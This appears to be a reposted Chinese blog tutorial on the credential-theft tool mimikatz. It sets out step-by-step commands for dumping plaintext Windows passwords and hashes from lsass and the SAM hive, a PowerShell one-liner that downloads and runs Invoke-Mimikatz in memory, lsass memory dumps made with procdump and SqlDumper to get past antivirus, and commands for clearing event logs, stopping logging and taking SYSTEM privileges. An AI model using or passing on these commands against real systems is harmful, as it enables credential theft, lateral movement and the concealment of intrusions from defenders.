转自:小橘子基地
最近在工作中用到了一个内网渗透工具mimkatz,感觉很不错,将一些简单的使用方法分享给大家。
一、mimikatz简介:
mimikatz常用于获取windows系统明文密码、系统账号hash、浏览器密码、VPN(ADSL)密码、RDP终端密码等,在内网横向渗透中可用于各种凭证的导入导出,包括大家熟悉的hash传递攻击。
程序的发布主页:http://blog.gentilkiwi.com/mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz/releases
二、基础用法——获取windows系统明文密码及HASH:
首先用管理员权限打开猕猴桃标志的EXE,然后输入:
privilege::debug
sekurlsa::logonpasswords full
展开全文
如果先加上log命令,所有的操作和回显的结果会在mimikatz.log中显示:
三、结果解析:
从上面结果可以看出:
1、一个Authentication Id代表一个块结果(这个“块结果”我自己理解的),也就是内存里面某个账户里面的凭证。
2、msv项是账号对应的密码的各种加密协议的密文。
3、tspkg、wdigest、kerberos 这3个项是账号对应的明文密码,但有时候不是3个项都得到结果的。
4、ssp项下是你最新登录到其他RDP终端所用到账号密码,windows server 2003、windows xp是不会记录到这里的,因为账号密码的输入不在本机内存里。
5、domain项是被登陆的机器的USERDOMAIN,可通过set命令来查看该变量,通过ping该项对应的值,可得到目标的IP。如:ping -n 1 john-PC,如果想要是IPv4就加上-4参数,即:ping -n 1 -4 john-PC
四、获取windows系统明文密码的原理:
当用户登陆后,会把账号密码保存在lsass中,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码。
五、获取系统哈希:
1、mimikatz with reg (online在线获取)
privilege::debug
token::elevate
lsadump::sam
2、mimikatz with reg (offline)
目标机器上执行:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
把两个文件传回本机后执行:
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
3、mimikatz with powershell(无需实体文件落地)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
六、windows高版本无法抓明文密码的问题:
问题出现点,windows 8.1及以上系统在进行明文密码抓取的时候出现以下情况:
1、报错:
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
2、密码项为NULL //空密码
七、mimikatz的杀软对抗:
mimikatz的明文密码功能固然是强大的,但就是因为强大,所以在被各国黑客关注使用的同时,各国的安全厂商也是会投入人力物力去查杀该程序,由此就会产生对抗安全防御软软件的技术。以下文章所涉及到的都是常用且好用的。
1、procdump with mimikatz
procdump是啥玩意?
procdump是微软收购Winternals公司后得到的一个工具包Sysinternals Suite中的一款小工具,属于微软产品。详情请看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
为什么能对抗安全防御软件?
我们使用大厂的软件把windows系统的内存dump出来,然后下载回我们本地系统,通过mimikatz解析内存文件,提取存放在内存中的凭证。那我用微软的东西,你不能拦截吧?那我在本地自己没有安全软件的环境用mimikatz解析,能拦截的估计就是断电、蓝屏……
具体操作:
命令:
<目标机器>
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
<本机>
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
①首先在目标机器下载一个procdump文件,然后用管理员权限打开cmd输入命令执行(最后那个lsass.dmp是文件名,它的文件名和后缀都可以更改)
②接着我们把lsass.dmp文件下载回来,然后打开mimikatz执行命令即可(注意命令中文件名要对的上)
2、SqlDumper with mimikatz
SqlDumper.exe是从SQL Server安装目录下提取出来的,功能和Procdump相似,并且也是微软出品的,体积远小于Procdump,也具备一定的免杀功能。SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,如果目标机器没有安装SQL Server,可以自己上传一个SqlDumper.exe。
命令:
<目标机器>
tasklist /svc |findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100
<本机>
mimikatz # sekurlsa::minidump SQLDmpr0001.mdmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
八、mimikatz的其他实用功能
1、解决windows PC版本不能多用户登陆3389的情况:
mimikatz # privilege::debug
mimikatz # ts::multirdp
2、清除日志:
event::clear
3、让后面的操作不被系统记录:
event::drop
4、进程操作:
process::suspend /pid:2768 暂停进程
process::resume /pid:2768 恢复进程
5、获取system权限
privilege::debug
token::elevate
6、以system权限启新的进程
获取系统system
mimikatz # privilege::debug
mimikatz # process::runp //以system启动一个新的mimikatz的交互式shell
mimikatz # process::runp /run:cmd //以system启动一个新的cmd
OK,以上就是本期的全部内容啦,欢迎大家转发关注收藏!
END
官方站点:www.linuxprobe.com
Linux命令大全:www.linuxcool.com
(新群,火热加群中……)